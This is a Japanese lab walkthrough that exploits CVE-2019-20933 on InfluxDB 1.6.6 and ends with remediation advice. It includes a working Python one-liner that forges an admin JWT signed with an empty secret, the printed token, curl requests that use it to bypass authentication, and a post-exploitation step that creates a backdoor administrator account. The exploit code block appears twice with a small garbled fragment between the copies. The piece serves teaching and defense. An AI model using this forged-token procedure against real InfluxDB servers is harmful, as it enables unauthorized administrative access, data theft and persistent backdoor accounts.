
CVE-2019-20933 の InfluxDB 認証バイパスを偽造 JWT トークンで実証するステップバイステップのラボ解説。エクスプロイト、ポストエクスプロイト、および修復の指針を含みます。
環境で実行されているものから始める。アクティブなコンテナをすべて一覧表示する:
docker ps

標的は単一のポート 8086 のみを公開している。
現時点では、ターゲットに関する詳細な情報はない。docker ps の出力から、システムは外部にポート 8086 で 1 つの注目すべきサービスのみを公開しており、これはコンテナ内のサービスにマッピングされている。これが分析すべき主要な攻撃対象領域である。
ブラウザですぐにアクセスする代わりに、Nmap を使用してサービスをフィンガープリントし、ポート 8086 で実行されているサービスを特定する:
nmap -sV -sC -p 8086 192.168.3.137

スキャン結果は、ポート 8086 が InfluxDB OSS 1.6.6 の HTTP サービスであることを示している。これは HTTP API を介して公開される時系列データベースであり、典型的な Web アプリケーションではない。
InfluxDB は Go で書かれたオープンソースの時系列データベース(TSDB)である。RDBMS(正確なトランザクション向けに最適化)や Elasticsearch(テキスト検索向けに最適化)とは異なり、InfluxDB は単一の目的のために作られた:膨大な書き込みボリューム(高書き込みスループット)の処理と、低レイテンシでの時間軸に沿ったデータのクエリ。

サービスが InfluxDB としてフィンガープリントされたため、次のステップは InfluxDB がクライアントとどのように通信するかを参照することである。InfluxDB v1 HTTP API ドキュメントによると、ポート 8086 がデフォルトの HTTP API ポートである。重要なエンドポイントには以下がある:
/ping: サーバーの稼働状態を確認する。/query: InfluxQL クエリを送信してメタデータまたはデータを読み取る。/write: 時系列データをデータベースに書き込む。⇒ 思考: Nmap がサービスを InfluxDB http admin 1.6.6 と特定した後、標準的な Web サイトのようにテストを続けることはしない。Web アプリケーションの場合、通常はルート、ログインフォーム、ディレクトリを探す。しかし、InfluxDB の場合、攻撃対象領域は HTTP API 内にある。したがって、InfluxDB の標準 API エンドポイントのテストに切り替える必要があり、API が認証を必要とするかどうかを判断する。その結果、次のテストの方向性は、ブラウザで / にアクセスすることではなく、InfluxDB の API エンドポイントに直接リクエストを送信することである。
/ping エンドポイントの確認ポート 8086 が InfluxDB HTTP API であると特定した後、/ping エンドポイントを確認してサービスが稼働していることを確認する:
curl -i <http://192.168.3.137:8086/ping>

レスポンス 204 No Content は、InfluxDB が正常に動作していることを確認する。ヘッダーはさらにサービスバージョンが InfluxDB OSS 1.6.6 であることを確認する。
/query エンドポイントでの認証確認curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

/query エンドポイントは、認証情報なしでは直接クエリを許可しない。これは、InfluxDB で認証が有効になっている こと、およびシステムに送信されたすべての匿名クエリをブロックすることを確認する。
思考を切り替える:InfluxDB バージョン 1.6.6 には、認証メカニズムをバイパスできる脆弱性があるのだろうか?

公開されている脆弱性データベースを参照すると、1.7.6 より前の InfluxDB バージョンは CVE-2019-20933 の影響を受ける。これは InfluxDB の認証機能における認証バイパス脆弱性であり、空の共有シークレットを持つ JWT トークンの処理に関連する。
ターゲットはパッチ適用済みバージョン 1.7.6 より低い InfluxDB 1.6.6 を実行しているため、このサービスは影響を受けるバージョン範囲内に該当する。
結論は次のとおり:
Service: InfluxDB OSS
Version: 1.6.6
Authentication: Enabled
CVE mapping: CVE-2019-20933
Impact: Authentication Bypass
Status: Version vulnerable
⇒ 思考:当初、/query エンドポイントは 401 Unauthorized を返し、 認証メカニズムがアクティブであることを示している。しかし、認証が有効であることは絶対的なセキュリティを意味しない。version が 1.6.6 としてフィンガープリントされた場合、既知の CVE と関連付ける必要がある。結果は、このバージョンが CVE-2019-20933 の影響を受ける範囲内にあることを示しており、/query エンドポイントを保護する認証メカニズムをバイパスできる可能性があることを意味する。これらの特定結果に基づき、エクスプロイト段階では、認証をバイパスして /query エンドポイントに対してクエリを実行するための適切な JWT トークンを生成し、CVE-2019-20933 の検証に焦点を当てる。
CVE-2019-20933 脆弱性は、バージョン 1.7.6 より前の InfluxDB の services/httpd/handler.go ファイル内の authenticate 関数で発生する。
InfluxDB は、HTTP API リクエストに対する JSON Web トークン(JWT) を使用した認証をサポートしている。以下のヘッダーを持つリクエストを受信すると:
Authorization: Bearer <token>
InfluxDB は次の手順を実行する:
influxdb.conf ファイルから shared-secret 設定値を読み取り、トークンの署名検証のためのシークレットキーとして使用する。username フィールドを取得して、クエリを実行するユーザーを特定する。影響を受けるバージョンでは、JWT 認証が有効であるが shared-secret パラメータが設定されていない場合、シークレット値が空文字列("")として処理される可能性がある。
システムは JWT 署名を検証する前に、シークレットのセキュリティ強度を適切に検証できない。これにより、攻撃者はカスタム JWT を構築し、空のシークレットで署名し、username クレームをシステム上の有効なアカウント(ラボにこのアカウントが存在する場合は admin など)に設定できる。
このトークンが Authorization: Bearer <token> ヘッダーを介して送信されると、InfluxDB は同じ空のシークレットを使用して署名を検証する。署名が一致し、ユーザー名が存在する場合、ユーザーの実際のパスワードを必要とせずにリクエストが許可される。
処理フローは次のようにまとめられる:
ロジックレベルのエクスプロイトフロー:
InfluxDB < 1.7.6
→ authentication enabled
→ empty shared-secret
→ attacker creates JWT signed with secret ""
→ sends token via Authorization: Bearer
→ server accepts the token
→ query to /query succeeds
CVE メカニズムを理解した後、バージョンだけに基づいて結論を導き出さないように、それをターゲットと関連付ける必要がある。
現時点では、CVE-2019-20933 はターゲットにとって非常に適した候補として特定されている。ただし、実際のエクスプロイトを確認するには、空の shared secret で署名された JWT を生成し、それを /query エンドポイントに送信する必要がある。
サーバーがこのトークンを受け入れ、クエリの実行を許可した場合にのみ、CVE が正常にエクスプロイトされたと結論付けることができる。
上記の脆弱性メカニズム分析から、エクスプロイトの条件は次のとおり:
username を持つ JWT を作成する。"")で署名する。Authorization: Bearer <token> ヘッダーを介して /query エンドポイントに送信する。JWT はドット区切りの 3 つの部分で構成される:Header.Payload.Signature
ヘッダー
{"alg":"HS256","typ":"JWT"}
ペイロード
{"username":"admin","exp":2147483647}
username: ターゲットアカウント。このラボでは、InfluxDB はデフォルトの admin ユーザーを作成する。exp: トークンの有効期限。期限切れによる拒否を避けるため、極めて遠い未来(2038 年)に設定される。署名
HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))
Kali では、単一のコマンドで完全な JWT を生成する:
python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"python3-c"
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

次の文字列が得られる:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw
b64url(): Python の dict を JSON 文字列に変換し、Base64URL 形式でエンコードする(JWT 標準に従って = パディングを削除する)。hmac.new(b'', ...): 空のキー(b'')を使用して HMAC-SHA256 アルゴリズムでメッセージに署名する。これがエクスプロイトベクターである — 空のキーはサーバー上の未設定の shared-secret と一致する。Header.Payload.Signature 文字列である。/query エンドポイントに送信して CVE を検証するトークンを環境変数に保存し、SHOW DATABASES クエリを送信する:
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"
curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \
-H "Authorization: Bearer $TOKEN"

結果分析:
401 Unauthorized から 200 OK に変わる。⇒ CVE-2019-20933 がターゲット上で正常にエクスプロイトされたことが確認された。 ブランクキーで署名された自作の JWT を使用して、認証メカニズムを完全にバイパスし、admin としてクエリアクセスを取得した。
認証のバイパスに成功した後、システム上のデータベース内の機密データを収集するために、より深いポストエクスプロイテーションを進める。SHOW DATABASES の結果から、システムには 2 つのデータベースがある:_internal(InfluxDB のデフォルトの内部監視データベース)と sample(運用上のビジネスデータベース)。
curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
-H "Authorization: Bearer $TOKEN"

システムには単一のユーザーのみが存在する:管理者権限を持つ admin(admin: true)。これは、偽造した JWT がシステム上の唯一の管理アカウントを正常に偽装したことを確認する。
_internal データベース内のメジャーメントの一覧表示sample データベースにはメジャーメントが含まれていない(空である)。ただし、_internal データベースは InfluxDB の内部監視データベースであり、常にシステムメトリクスを含む:
curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
-H "Authorization: Bearer $TOKEN"

_internal データベースには 12 の内部監視メジャーメント が含まれている:cq、database、httpd、queryExecutor、runtime、shard、subscriber、tsm1_cache、tsm1_engine、tsm1_filestore、tsm1_wal、write。これらのテーブルには、HTTP クエリログ、データベースのパフォーマンスメトリクス、ストレージエンジンの状態など、InfluxDB インスタンスの詳細な運用統計が格納される。
バイパスした admin アクセスが読み取り専用アクションに制限されず、書き込みおよび管理アクセス も許可することを実証するために、完全な管理者権限を持つ新しいユーザーアカウントの作成を実行する:
curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
-H "Authorization: Bearer $TOKEN"

レスポンスは error フィールドなしで statement_id: 0 を返し、CREATE USER コマンドが正常に実行されたことを確認する。攻撃者は、偽造した JWT トークンを必要とせずに、完全な管理者アクセスを持つ hacked / Dung 認証情報を使用して直接ログインできるようになった。
⇒ これは、脆弱性 CVE-2019-20933 がデータの露出を可能にするだけでなく、攻撃者が InfluxDB システムの完全な制御を掌握することも可能にするという最も強力な証明となる —ユーザーのプロビジョニング、データベースの破壊、システム設定の変更を含む。
OS レイヤーを直接標的とするリモートコード実行(RCE)脆弱性(Lab 3 のように)とは異なり、CVE-2019-20933 はその影響範囲をデータベースレベルの管理に限定する。ただし、以下の理由により深刻度は依然として重大に高い:
hacked ユーザーの作成成功によって証明されている。この重大なセキュリティ脆弱性を完全に是正するために、システム管理者は以下の対策を迅速に実施すべきである:
強力な共有シークレット設定を強制する 直ちにアップグレードできない場合は、influxdb.conf 設定ファイルを編集して、[http] セクションの下に長く複雑でランダムな共有シークレットを定義する:注: 設定を編集した後、変更を有効にするために InfluxDB サービスを再起動する。
ini
[http]
enabled = true
auth-enabled = true
shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
InfluxDB インスタンスをパッチ適用済みバージョンにアップグレードする 直ちに InfluxDB をバージョン 1.7.6 以上 に更新する。開発者はこれらのバージョンで認証ルーチンを変更し、空または安全でない共有シークレットで署名された JWT トークンを拒否するようにした。
8086 をパブリックインターネットに公開しない。| 手順 | 通常の処理 | CVE-2019-20933 の欠陥 |
|---|
| 1 | クライアントが Authorization: Bearer <token> を送信 | 攻撃者が JWT を自作する |
| 2 | サーバーが設定から shared-secret を読み取る | shared-secret が設定されていない |
| 3 | サーバーがシークレットを使用して JWT 署名を検証 | シークレットが空文字列 "" として処理される |
| 4 | トークンが有効な場合、クレームから username を取得 | 攻撃者がユーザーが存在する場合に username=admin を設定 |
| 5 | サーバーがクレームのユーザーに基づいて権限を付与 | パスワードを必要とせずにリクエストが受け入れられる |
| 条件 | ターゲットの結果 | 評価 |
|---|
| サービスが InfluxDB である | Nmap が InfluxDB http admin 1.6.6 と特定 | 満たされている |
| バージョンが影響範囲内である | 1.6.6 < 1.7.6 | 満たされている |
| 認証が有効である | /query が 401 Unauthorized を返す | 満たされている |
| 空の共有シークレットで署名された JWT が受け入れられるか | 検証が必要 | 未確認 |
| JWT 内のユーザー名が有効か | 検証が必要/ラボでは想定 | 未確認 |
| メトリック | 評価 | 詳細 |
|---|
| CVSS スコア | 9.8(クリティカル) | エクスプロイトの容易さが非常に高いため、深刻度が非常に高い評価。 |
| 必要な認証 | なし | 有効な認証情報なしで認証バリアを完全にバイパスする。 |
| エクスプロイトの複雑さ | 低 | ブランクのシークレットキーで偽造 JWT を生成し、HTTP ヘッダーを介して送信するだけでよい。 |
| 取得される権限 | InfluxDB 管理者 | ルート管理権限のもとで InfluxDB データベースの完全な制御を取得する。 |
| データへの影響 | 高 | すべての機密メトリクスの露出につながり、データを変更または完全に消去する権限を持つ。 |